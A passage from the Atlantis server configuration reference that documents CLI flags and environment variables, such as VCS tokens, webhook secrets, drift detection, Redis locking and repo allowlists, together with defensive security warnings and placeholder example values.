` html tag. ### `--disable-repo-locking` v0.16.1 [​](https://www.runatlantis.io/docs/server-configuration.html#disable-repo-locking) bash atlantis server --disable-repo-locking # or ATLANTIS_DISABLE_REPO_LOCKING=true Stops atlantis from locking projects and or workspaces when running terraform. ### `--disable-unlock-label` v0.33.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#disable-unlock-label) bash atlantis server --disable-unlock-label do-not-unlock # or ATLANTIS_DISABLE_UNLOCK_LABEL="do-not-unlock" Stops atlantis from unlocking a pull request with this label. Defaults to "" (feature disabled). ### `--discard-approval-on-plan` v0.29.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#discard-approval-on-plan) bash atlantis server --discard-approval-on-plan # or ATLANTIS_DISCARD_APPROVAL_ON_PLAN=true If set, discard approval if a new plan has been executed. Currently only supported on GitHub and GitLab. For GitLab a bot, group or project token is required for this feature. Reference: [reset-approvals-of-a-merge-request](https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request) ### `--emoji-reaction` v0.29.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#emoji-reaction) bash atlantis server --emoji-reaction eyes # or ATLANTIS_EMOJI_REACTION=eyes The emoji reaction to use for marking processed comments. Currently supported on Gitea, GitHub and GitLab. If not specified, Atlantis will not use an emoji reaction. Defaults to "" (empty string). NOTE Each VCS provider supports a different list of emojis: * [GitHub](https://docs.github.com/en/rest/reactions/reactions?apiVersion=2022-11-28#about-reactions) * [GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/fixtures/emojis/digests.json) * [Gitea](https://docs.gitea.com/administration/customizing-gitea#reactions) ### `--enable-diff-markdown-format` v0.25.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#enable-diff-markdown-format) bash atlantis server --enable-diff-markdown-format # or ATLANTIS_ENABLE_DIFF_MARKDOWN_FORMAT=true Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes. Useful to enable for use with GitHub. Changed lines inside Terraform heredoc and multiline-string diffs are also formatted so diff-aware markdown renderers can color them. ### `--enable-drift-detection` [​](https://www.runatlantis.io/docs/server-configuration.html#enable-drift-detection) bash atlantis server --enable-drift-detection # or ATLANTIS_ENABLE_DRIFT_DETECTION=true Enable drift detection API endpoints. Drift detection does not run Terraform apply, but it does execute the normal plan lifecycle, including configured pre-workflow hooks, custom workflows, custom plan steps, and Terraform plan commands. When enabled, Atlantis will initialize in-memory storage for drift detection results and a remediation service, making drift detection, status, and plan-only remediation endpoints functional. If drift [webhooks](https://www.runatlantis.io/docs/sending-notifications-via-webhooks#drift-detection-webhooks) are configured (`event: drift`), successful detection runs send notifications to Slack or HTTP endpoints, including no-drift heartbeat results. Drift detection does not bypass team allowlists or PR-state `plan_requirements` such as `approved` or `mergeable`; those checks fail closed when they cannot be evaluated outside a pull request. Destructive drift remediation apply actions also require `--enable-drift-remediation`. Defaults to `false`. ### `--enable-drift-remediation` [​](https://www.runatlantis.io/docs/server-configuration.html#enable-drift-remediation) bash atlantis server --enable-drift-detection --enable-drift-remediation # or ATLANTIS_ENABLE_DRIFT_DETECTION=true ATLANTIS_ENABLE_DRIFT_REMEDIATION=true Enable destructive drift remediation apply actions on the `/api/drift/remediate` endpoint. This flag requires `--enable-drift-detection`; without it, `action: "apply"` requests are rejected while read-only drift detection remains available. This flag does not bypass repository `apply_requirements`; requirements that need pull request state fail closed for non-PR remediation requests. Defaults to `false`. ### `--enable-external-stores` [​](https://www.runatlantis.io/docs/server-configuration.html#enable-external-stores) bash atlantis server --enable-external-stores # or ATLANTIS_ENABLE_EXTERNAL_STORES=true Enable external storage backends configured in the server-side repo config (`external_stores` block). When set, Atlantis reads the `external_stores` section from the repo config YAML to initialize backends such as S3 for plan file persistence. ### `--enable-policy-checks` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration.html#enable-policy-checks) bash atlantis server --enable-policy-checks # or ATLANTIS_ENABLE_POLICY_CHECKS=true Enables atlantis to run server side policies on the result of a terraform plan. Policies are defined in [server side repo config](https://www.runatlantis.io/docs/server-side-repo-config#reference) . ### `--enable-profiling-api` v0.25.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#enable-profiling-api) bash atlantis server --enable-profiling-api # or ATLANTIS_ENABLE_PROFILING_API=true Enable [`net/http/pprof`](https://pkg.go.dev/net/http/pprof) endpoints for [continuous profiling](https://grafana.com/docs/pyroscope/latest/introduction/continuous-profiling/) of resources used by the server. See [profiling Go programs](https://go.dev/blog/pprof) for more information. ### `--enable-regexp-cmd` v0.17.0 [​](https://www.runatlantis.io/docs/server-configuration.html#enable-regexp-cmd) bash atlantis server --enable-regexp-cmd # or ATLANTIS_ENABLE_REGEXP_CMD=true Enable Atlantis to use regular expressions to run plan/apply commands against defined project names when `-p` flag is passed with it. This can be used to run all defined projects (with the `name` key) in `atlantis.yaml` using `atlantis plan -p .*`. The flag will only allow the regexes listed in the [`allowed_regexp_prefixes`](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#reference) key defined in the repo `atlantis.yaml` file. If the key is undefined, its value defaults to `[]` which will allow any regex. This will not work with `-d` yet and to use `-p` the repo projects must be defined in the repo `atlantis.yaml` file. When `--restrict-file-list` is enabled, regex project plans are limited to matching projects with files modified in the pull request. Without `--restrict-file-list`, regex project commands can still run against all matching projects. SECURITY WARNING It's not supposed to be used with `--disable-apply-all`. The command `atlantis apply -p .*` will bypass the restriction and run apply on every project. ### `--executable-name` v0.42.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#executable-name) bash atlantis server --executable-name="atlantis" # or ATLANTIS_EXECUTABLE_NAME="atlantis" Comment command trigger executable name. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository. Note: the "did you mean" misspelling warning only applies to the default executable name (`atlantis`). If you set a custom `--executable-name`, Atlantis won't warn about comments that are Levenshtein-close to it — this avoids spurious warnings when multiple servers with similar names (e.g. `atlantis-dev` and `atlantis-prod`) receive the same comment. ### `--fail-on-pre-workflow-hook-error` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#fail-on-pre-workflow-hook-error) bash atlantis server --fail-on-pre-workflow-hook-error # or ATLANTIS_FAIL_ON_PRE_WORKFLOW_HOOK_ERROR=true Fail and do not run the requested Atlantis command if any of the pre workflow hooks error. ### `--gh-allow-mergeable-bypass-apply` v0.30.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-allow-mergeable-bypass-apply) bash atlantis server --gh-allow-mergeable-bypass-apply # or ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true Feature flag to enable ability to use `mergeable` mode with required apply status check. ### `--gh-app-id` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-app-id) bash atlantis server --gh-app-id="00000" # or ATLANTIS_GH_APP_ID="00000" GitHub app ID. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations) . TIP A GitHub app can be created by starting Atlantis first, then pointing your browser at shell $(hostname)/github-app/setup You'll be redirected to GitHub to create a new app, and will then be redirected to shell $(hostname)/github-app/exchange-code?code=some-code After which Atlantis will display your new app's credentials: your app's ID, its generated `--gh-webhook-secret` and the contents of the file for `--gh-app-key-file`. Update your Atlantis config accordingly, and restart the server. ### `--gh-app-installation-id` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-app-installation-id) bash atlantis server --gh-app-installation-id="123" # or ATLANTIS_GH_APP_INSTALLATION_ID="123" The installation ID of a specific instance of a GitHub application. Normally this value is derived by querying GitHub for the list of installations of the ID supplied via `--gh-app-id` and selecting the first one found and where multiple installations results in an error. Use this flag if you have multiple instances of Atlantis but you want to use a single already-installed GitHub app for all of them. You would normally do this if you are running a proxy as your single GitHub application that will proxy to an appropriate Atlantis instance based on the organization or user that triggered the webhook. ### `--gh-app-key` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-app-key) bash atlantis server --gh-app-key="-----BEGIN RSA PRIVATE KEY-----(...)" # or ATLANTIS_GH_APP_KEY="-----BEGIN RSA PRIVATE KEY-----(...)" The PEM encoded private key for the GitHub App. SECURITY WARNING The contents of the private key will be visible by anyone that can run `ps` or look at the shell history of the machine where Atlantis is running. Use `--gh-app-key-file` to mitigate that risk. ### `--gh-app-key-file` v0.20.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-app-key-file) bash atlantis server --gh-app-key-file="path/to/app-key.pem" # or ATLANTIS_GH_APP_KEY_FILE="path/to/app-key.pem" Path to a GitHub App PEM encoded private key file. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations) . ### `--gh-app-slug` v0.16.1 [​](https://www.runatlantis.io/docs/server-configuration.html#gh-app-slug) bash atlantis server --gh-app-slug="myappslug" # or ATLANTIS_GH_APP_SLUG="myappslug" A slugged version of GitHub app name shown in pull requests comments, etc (not `Atlantis App` but something like `atlantis-app`). Atlantis uses the value of this parameter to identify the comments it has left on GitHub pull requests. This is used for functions such as `--hide-prev-plan-comments`. You need to obtain this value from your GitHub app, one way is to go to your App settings and open "Public page" from the left sidebar. Your `--gh-app-slug` value will be the last part of the URL, e.g `https://github.com/apps/`. ### `--gh-hostname` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-hostname) bash atlantis server --gh-hostname="my.github.enterprise.com" # or ATLANTIS_GH_HOSTNAME="my.github.enterprise.com" Hostname of your GitHub Enterprise installation. If using [GitHub.com](https://github.com/) , don't set. Defaults to `github.com`. For GitHub Enterprise Cloud, use the tenant hostname, for example `tenant.ghe.com`. Do not include a scheme or an `api.` prefix; Atlantis derives the REST and GraphQL API endpoints from the hostname. ### `--gh-org` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-org) bash atlantis server --gh-org="myorgname" # or ATLANTIS_GH_ORG="myorgname" GitHub organization name. Set to enable creating a private GitHub app for this organization. ### `--gh-team-allowlist` v0.41.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-team-allowlist) bash atlantis server --gh-team-allowlist="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" # or ATLANTIS_GH_TEAM_ALLOWLIST="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" In versions v0.35.0 and later, the GitHub team name can only be a slug because it is immutable. In versions between v0.21.0 and v0.34.0, the GitHub team name can be a name or a slug. In versions v0.20.1 and below, the GitHub team name required the case sensitive team name. Comma-separated list of GitHub teams and permission pairs. By default, any team can plan and apply. GitHub team hierarchy is honored. If an allowlisted team has child teams, members of those child teams inherit the parent team's allowed commands. TIP If you are using [policy checking](https://www.runatlantis.io/docs/policy-checking) , you must also allowlist the `policy_check` command for it to work on manual `atlantis plan` commands: bash atlantis server --gh-team-allowlist="*:plan,*:policy_check,myteam:apply" See [Policy Checking documentation](https://www.runatlantis.io/docs/policy-checking#step-1-enable-the-workflow) for more details. ### `--gh-token` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-token) bash atlantis server --gh-token="token" # or (recommended) ATLANTIS_GH_TOKEN="token" GitHub token of API user. ### `--gh-token-file` v0.41.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-token-file) bash atlantis server --gh-token-file="/path/to/token" # or ATLANTIS_GH_TOKEN_FILE="/path/to/token" GitHub token of API user. The token is loaded from disk regularly to allow for rotation of the token without the need to restart the Atlantis server. ### `--gh-user` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-user) bash atlantis server --gh-user="myuser" # or ATLANTIS_GH_USER="myuser" GitHub username of API user. This user is also used by the flag `--hide-user-plan-comments` and will need to be updated if migrating to github EMU. ### `--gh-webhook-secret` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#gh-webhook-secret) bash atlantis server --gh-webhook-secret="secret" # or (recommended) ATLANTIS_GH_WEBHOOK_SECRET="secret" Secret used to validate GitHub webhooks (see [GitHub: Validating webhook deliveries](https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries) ). SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--gitea-base-url` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitea-base-url) bash atlantis server --gitea-base-url="http://your-gitea.corp:7990/basepath" # or ATLANTIS_GITEA_BASE_URL="http://your-gitea.corp:7990/basepath" Base URL of Gitea installation. Must include `http://` or `https://`. Defaults to `https://gitea.com` if left empty/absent. ### `--gitea-page-size` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitea-page-size) bash atlantis server --gitea-page-size=30 # or (recommended) ATLANTIS_GITEA_PAGE_SIZE=30 Number of items on a single page in Gitea paged responses. Configuration dependent The default value conforms to the Gitea server's standard config setting: DEFAULT\_PAGING\_NUM The highest valid value depends on the Gitea server's config setting: MAX\_RESPONSE\_ITEMS ### `--gitea-token` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitea-token) bash atlantis server --gitea-token="token" # or (recommended) ATLANTIS_GITEA_TOKEN="token" Gitea app password of API user. ### `--gitea-user` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitea-user) bash atlantis server --gitea-user="myuser" # or ATLANTIS_GITEA_USER="myuser" Gitea username of API user. ### `--gitea-webhook-secret` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitea-webhook-secret) bash atlantis server --gitea-webhook-secret="secret" # or (recommended) ATLANTIS_GITEA_WEBHOOK_SECRET="secret" Secret used to validate Gitea webhooks. SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--gitlab-group-allowlist` v0.13.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitlab-group-allowlist) bash atlantis server --gitlab-group-allowlist="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" # or ATLANTIS_GITLAB_GROUP_ALLOWLIST="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" Comma-separated list of GitLab groups and permission pairs. By default, any group can plan and apply. NOTE Atlantis needs to be able to view the listed group members, inaccessible or non-existent groups are silently ignored. ### `--gitlab-hostname` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitlab-hostname) bash atlantis server --gitlab-hostname="my.gitlab.enterprise.com" # or ATLANTIS_GITLAB_HOSTNAME="my.gitlab.enterprise.com" Hostname of your GitLab Enterprise installation. If using [GitLab.com](https://gitlab.com/) , don't set. Defaults to `gitlab.com`. ### `--gitlab-status-retry-enabled` [​](https://www.runatlantis.io/docs/server-configuration.html#gitlab-status-retry-enabled) bash atlantis server --gitlab-status-retry-enabled # or ATLANTIS_GITLAB_STATUS_RETRY_ENABLED=true Enable enhanced retry logic for GitLab pipeline status updates with exponential backoff. Defaults to `false`. ### `--gitlab-token` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitlab-token) bash atlantis server --gitlab-token="token" # or (recommended) ATLANTIS_GITLAB_TOKEN="token" GitLab token of API user. ### `--gitlab-user` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitlab-user) bash atlantis server --gitlab-user="myuser" # or ATLANTIS_GITLAB_USER="myuser" GitLab username of API user. ### `--gitlab-webhook-secret` v0.2.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#gitlab-webhook-secret) bash atlantis server --gitlab-webhook-secret="secret" # or (recommended) ATLANTIS_GITLAB_WEBHOOK_SECRET="secret" Secret used to validate GitLab webhooks. SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ### `--help` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#help) bash atlantis server --help View help. ### `--hide-prev-plan-comments` v0.19.0 [​](https://www.runatlantis.io/docs/server-configuration.html#hide-prev-plan-comments) bash atlantis server --hide-prev-plan-comments # or ATLANTIS_HIDE_PREV_PLAN_COMMENTS=true Hide previous plan comments to declutter PRs. This is only supported in GitHub and GitLab and Bitbucket currently and is not enabled by default. For Bitbucket, the comments are deleted rather than hidden as Bitbucket does not support hiding comments. For GitHub, ensure the `--gh-user` is set appropriately or comments will not be hidden. When using the GitHub App, you need to set `--gh-app-slug` to enable this feature. ### `--hide-unchanged-plan-comments` v0.29.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#hide-unchanged-plan-comments) bash atlantis server --hide-unchanged-plan-comments # or ATLANTIS_HIDE_UNCHANGED_PLAN_COMMENTS=true Remove no-changes plan comments from the pull request. This is useful when you have many projects and want to keep the pull request clean from useless comments. ### `--ignore-vcs-status-names` v0.30.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#ignore-vcs-status-names) bash atlantis server --ignore-vcs-status-names="status1,status2" # or ATLANTIS_IGNORE_VCS_STATUS_NAMES=status1,status2 Comma separated list of VCS status names from other atlantis services. When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) from other Atlantis services when checking if the PR is mergeable. Currently only implemented for GitHub. ### `--include-git-untracked-files` v0.27.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#include-git-untracked-files) bash atlantis server --include-git-untracked-files # or ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true Include git untracked files in the Atlantis modified file list. Used for example with CDKTF pre-workflow hooks that dynamically generate Terraform files. ### `--language` v0.45.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#language) bash atlantis server --language="en" # or ATLANTIS_LANGUAGE="en" Language used for Atlantis pull request comments. Defaults to `en`. Supported values: * `en` (English) * `es` (Spanish) Atlantis normalizes locale-style values (for example `es-MX` resolves to `es`). If an unsupported language is configured and `--language-config-file` is not set, Atlantis returns a validation error at startup. Built-in language strings are loaded from: * `server/i18n/locales/en.yaml` * `server/i18n/locales/es.yaml` ### `--language-config-file` v0.45.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#language-config-file) bash atlantis server --language="de" --language-config-file="/etc/atlantis/language.yaml" # or ATLANTIS_LANGUAGE_CONFIG_FILE="/etc/atlantis/language.yaml" Optional path to a custom YAML language catalog. Values in this file override the selected built-in language, and partial overrides are supported. When `--language-config-file` is set, unsupported `--language` values are allowed and Atlantis falls back to built-in English for unspecified strings. Expected YAML schema: yaml pull_request_label: Pull Request (custom) merge_request_label: Merge Request (custom) command_titles: plan: Plan (custom) apply: Apply (custom) For complete markdown wording customization, keep using `--markdown-template-overrides-dir`. ### `--locking-db-type` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#locking-db-type) bash atlantis server --locking-db-type="" # or ATLANTIS_LOCKING_DB_TYPE="" The locking database type to use for storing plan and apply locks. Defaults to `boltdb`. Notes: * If set to `boltdb`, only one process may have access to the boltdb instance. * If set to `redis`, use `--redis-host` and `--redis-port` for single-node mode, or `--redis-cluster-addresses` for Redis Cluster mode. Use `--redis-password` and (optionally) `--redis-username` only if your Redis deployment requires authentication. ### `--log-level` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#log-level) bash atlantis server --log-level="" # or ATLANTIS_LOG_LEVEL="" Log level. Defaults to `info`. ### `--markdown-template-overrides-dir` v0.21.0 [​](https://www.runatlantis.io/docs/server-configuration.html#markdown-template-overrides-dir) bash atlantis server --markdown-template-overrides-dir="path/to/templates/" # or ATLANTIS_MARKDOWN_TEMPLATE_OVERRIDES_DIR="path/to/templates/" This will be available in v0.21.0. Directory where Atlantis will read in overrides for markdown templates used to render comments on pull requests. Markdown template overrides may be specified either in individual files, or all together in a single file. All template override files _must_ have the `.tmpl` extension, otherwise they will not be parsed. Markdown templates which may have overrides can be found [markdown templates directory](https://github.com/runatlantis/atlantis/tree/main/server/events/templates) Please be mindful that settings like `--enable-diff-markdown-format` depend on logic defined in the templates. It is possible to diverge from expected behavior, if care is not taken when overriding default templates. Defaults to the atlantis home directory `/home/atlantis/.markdown_templates/` in `/$HOME/.markdown_templates`. ### `--max-comments-per-command` v0.32.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#max-comments-per-command) bash atlantis server --max-comments-per-command=100 # or ATLANTIS_MAX_COMMENTS_PER_COMMAND=100 Limit the number of comments published after a command is executed, to prevent spamming your VCS and Atlantis to get throttled as a result. Defaults to `100`. Set this option to `0` to disable log truncation. Note that the truncation will happen on the top of the command output, to preserve the most important parts of the output, often displayed at the end. When command output exceeds the VCS comment size limit (or when this limit applies), Atlantis splits the output into multiple comments using **intelligent comment splitting**. Split points are chosen so that markdown structure is preserved: the splitter detects whether it is inside a code block (` ``` `), a `
` block, or inline code (`` ` ``), and inserts appropriate closing and continuation markers so that each comment renders correctly. Continuation comments are labeled with the command name (e.g. "Continued plan output from previous comment") when available. ### `--parallel-apply` v0.22.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#parallel-apply) bash atlantis server --parallel-apply # or ATLANTIS_PARALLEL_APPLY=true Whether to run apply operations in parallel. Defaults to `false`. Explicit declaration in [repo config](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#run-plans-and-applies-in-parallel) takes precedence. ### `--parallel-plan` v0.22.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#parallel-plan) bash atlantis server --parallel-plan # or ATLANTIS_PARALLEL_PLAN=true Whether to run plan operations in parallel. Defaults to `false`. Explicit declaration in [repo config](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#run-plans-and-applies-in-parallel) takes precedence. ### `--parallel-pool-size` v0.16.0 [​](https://www.runatlantis.io/docs/server-configuration.html#parallel-pool-size) bash atlantis server --parallel-pool-size=100 # or ATLANTIS_PARALLEL_POOL_SIZE=100 Max size of the wait group that runs parallel plans and applies (if enabled). Defaults to `15` ### `--pending-apply-status` v0.36.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#pending-apply-status) bash atlantis server --pending-apply-status # or (recommended) ATLANTIS_PENDING_APPLY_STATUS=true Set the commit status to pending when there are planned changes that haven't been applied. This prevents merge requests from being merged until all Terraform applies are completed if you have `Pipelines must succeed` enabled on your repository. When enabled, after running `atlantis plan`, the MR status will show as pending if there are changes to apply. Once all projects are successfully applied (or show no changes), the status will update to success. Projects with no Terraform changes are counted as up to date rather than applied. If a pull request has both up-to-date projects and projects still waiting to apply, the Atlantis apply commit status remains pending until all changed projects are applied. Defaults to `false`. Only supported on GitLab ### `--port` v0.1.3+ [​](https://www.runatlantis.io/docs/server-configuration.html#port) bash atlantis server --port=4141 # or ATLANTIS_PORT=4141 Port to bind to. Defaults to `4141`. ### `--quiet-policy-checks` v0.32.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#quiet-policy-checks) bash atlantis server --quiet-policy-checks # or ATLANTIS_QUIET_POLICY_CHECKS=true Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings. Defaults to `false`. ### `--redis-cluster-addresses` [​](https://www.runatlantis.io/docs/server-configuration.html#redis-cluster-addresses) bash atlantis server --redis-cluster-addresses="redis-node-0:6379,redis-node-1:6379,redis-node-2:6379" # or ATLANTIS_REDIS_CLUSTER_ADDRESSES="redis-node-0:6379,redis-node-1:6379,redis-node-2:6379" Comma-delimited list of Redis cluster node addresses in the format `host:port`. When set, Atlantis uses Redis Cluster mode instead of single-node mode. This is mutually exclusive with `--redis-host`/`--redis-port` (which are used for single-node mode). ### `--redis-db` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#redis-db) bash atlantis server --redis-db=0 # or ATLANTIS_REDIS_DB=0 The Redis Database to use when using a Locking DB type of `redis`. Defaults to `0`. ### `--redis-host` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#redis-host) bash atlantis server --redis-host="localhost" # or ATLANTIS_REDIS_HOST="localhost" The Redis Hostname for when using a Locking DB type of `redis`. ### `--redis-insecure-skip-verify` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#redis-insecure-skip-verify) bash atlantis server --redis-insecure-skip-verify=false # or ATLANTIS_REDIS_INSECURE_SKIP_VERIFY=false Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate. Defaults to `false`. SECURITY WARNING If this is enabled, TLS is susceptible to machine-in-the-middle attacks unless custom verification is used. ### `--redis-password` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#redis-password) bash atlantis server --redis-password="password123" # or (recommended) ATLANTIS_REDIS_PASSWORD="password123" The Redis Password for when using a Locking DB type of `redis`. ### `--redis-port` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#redis-port) bash atlantis server --redis-port=6379 # or ATLANTIS_REDIS_PORT=6379 The Redis Port for when using a Locking DB type of `redis`. Defaults to `6379`. ### `--redis-tls-enabled` v0.19.9+ [​](https://www.runatlantis.io/docs/server-configuration.html#redis-tls-enabled) bash atlantis server --redis-tls-enabled=false # or ATLANTIS_REDIS_TLS_ENABLED=false Enables a TLS connection, with min version of 1.2, to Redis when using a Locking DB type of `redis`. Defaults to `false`. ### `--redis-username` [​](https://www.runatlantis.io/docs/server-configuration.html#redis-username) bash atlantis server --redis-username="myuser" # or ATLANTIS_REDIS_USERNAME="myuser" The Redis Username for when using a Locking DB type of `redis`. Useful when Redis is configured with ACL-based authentication. ### `--repo-allowlist` v0.13.0 [​](https://www.runatlantis.io/docs/server-configuration.html#repo-allowlist) bash # NOTE: Use single quotes to avoid shell expansion of *. atlantis server --repo-allowlist='github.com/myorg/*' # or ATLANTIS_REPO_ALLOWLIST='github.com/myorg/*' Atlantis requires you to specify an allowlist of repositories it will accept webhooks from. Notes: * Accepts a comma separated list, ex. `definition1,definition2` * Format is `{hostname}/{owner}/{repo}`, ex. `github.com/runatlantis/atlantis` * `*` matches any characters, ex. `github.com/runatlantis/*` will match all repos in the runatlantis organization * An entry beginning with `!` negates it, ex. `github.com/foo/*,!github.com/foo/bar` will match all github repos in the `foo` owner _except_ `bar`. * For Bitbucket Server: `{hostname}` is the domain without scheme and port, `{owner}` is the name of the project (not the key), and `{repo}` is the repo name * User (not project) repositories take on the format: `{hostname}/{full name}/{repo}` (e.g., `bitbucket.example.com/Jane Doe/myatlantis` for username `jdoe` and full name `Jane Doe`, which is not very intuitive) * For Azure DevOps the allowlist takes one of two forms: `{owner}.visualstudio.com/{owner}/{project}/{repo}` or `dev.azure.com/{owner}/{project}/{repo}` * Microsoft is in the process of changing Azure DevOps to the latter form, so it may be safest to always specify both formats in your repo allowlist for each repository until the change is complete. Examples: * Allowlist `myorg/repo1` and `myorg/repo2` on `github.com` * `--repo-allowlist=github.com/myorg/repo1,github.com/myorg/repo2` * Allowlist all repos under `myorg` on `github.com` * `--repo-allowlist='github.com/myorg/*'` * Allowlist all repos under `myorg` on `github.com`, excluding `myorg/untrusted-repo` * `--repo-allowlist='github.com/myorg/*,!github.com/myorg/untrusted-repo'` * Allowlist all repos in my GitHub Enterprise installation * `--repo-allowlist='github.yourcompany.com/*'` * Allowlist all repos under `myorg` project `myproject` on Azure DevOps * `--repo-allowlist='myorg.visualstudio.com/myorg/myproject/*,dev.azure.com/myorg/myproject/*'` * Allowlist all repositories * `--repo-allowlist='*'` ### `--repo-config` v0.5.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#repo-config) bash atlantis server --repo-config="path/to/repos.yaml" # or ATLANTIS_REPO_CONFIG="path/to/repos.yaml" Path to a YAML server-side repo config file. See [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) . ### `--repo-config-json` v0.5.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#repo-config-json) bash atlantis server --repo-config-json='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' # or ATLANTIS_REPO_CONFIG_JSON='{"repos":[{"id":"/.*/", "apply_requirements":["mergeable"]}]}' Specify server-side repo config as a JSON string. Useful if you don't want to write a config file to disk. See [Server Side Repo Config](https://www.runatlantis.io/docs/server-side-repo-config) for more details. TIP If specifying a [Workflow](https://www.runatlantis.io/docs/custom-workflows#reference) , [step](https://www.runatlantis.io/docs/custom-workflows#step) 's can be specified as follows: json { "repos": [], "workflows": { "custom": { "plan": { "steps": [\ "init",\ {\ "plan": {\ "extra_args": ["extra", "args"]\ }\ },\ {\ "run": "my custom command"\ }\ ] } } } } ### `--restrict-file-list` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#restrict-file-list) bash atlantis server --restrict-file-list # or (recommended) ATLANTIS_RESTRICT_FILE_LIST=true `--restrict-file-list` will block plan requests from projects outside the files modified in the pull request. When `--enable-regexp-cmd` is also enabled, regex project plans such as `atlantis plan -p .*` are scoped to matching projects with files modified in the pull request. Defaults to `false`. ### `--share-plan-dir` [​](https://www.runatlantis.io/docs/server-configuration.html#share-plan-dir) bash atlantis server --share-plan-dir="path/to/local/plan/dir" # or ATLANTIS_SHARE_PLAN_DIR="path/to/local/plan/dir" Directory where Atlantis will store local Terraform plan files. If unset, this defaults to the resolved `--data-dir` value so existing installations keep the same on-disk layout. When set to a different directory, checked out repositories remain under `--data-dir` and generated `.tfplan` files use the same repo, pull request, workspace, and project path layout under `--share-plan-dir`. ### `--silence-allowlist-errors` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#silence-allowlist-errors) bash atlantis server --silence-allowlist-errors # or ATLANTIS_SILENCE_ALLOWLIST_ERRORS=true Some users use the `--repo-allowlist` flag to control which repos Atlantis responds to. Normally, if Atlantis receives a pull request webhook from a repo not listed in the allowlist, it will comment back with an error. This flag disables that commenting. Some users find this useful because they prefer to add the Atlantis webhook at an organization level rather than on each repo. ### `--silence-fork-pr-errors` v0.28.0+ [​](https://www.runatlantis.io/docs/server-configuration.html#silence-fork-pr-errors) bash atlantis server 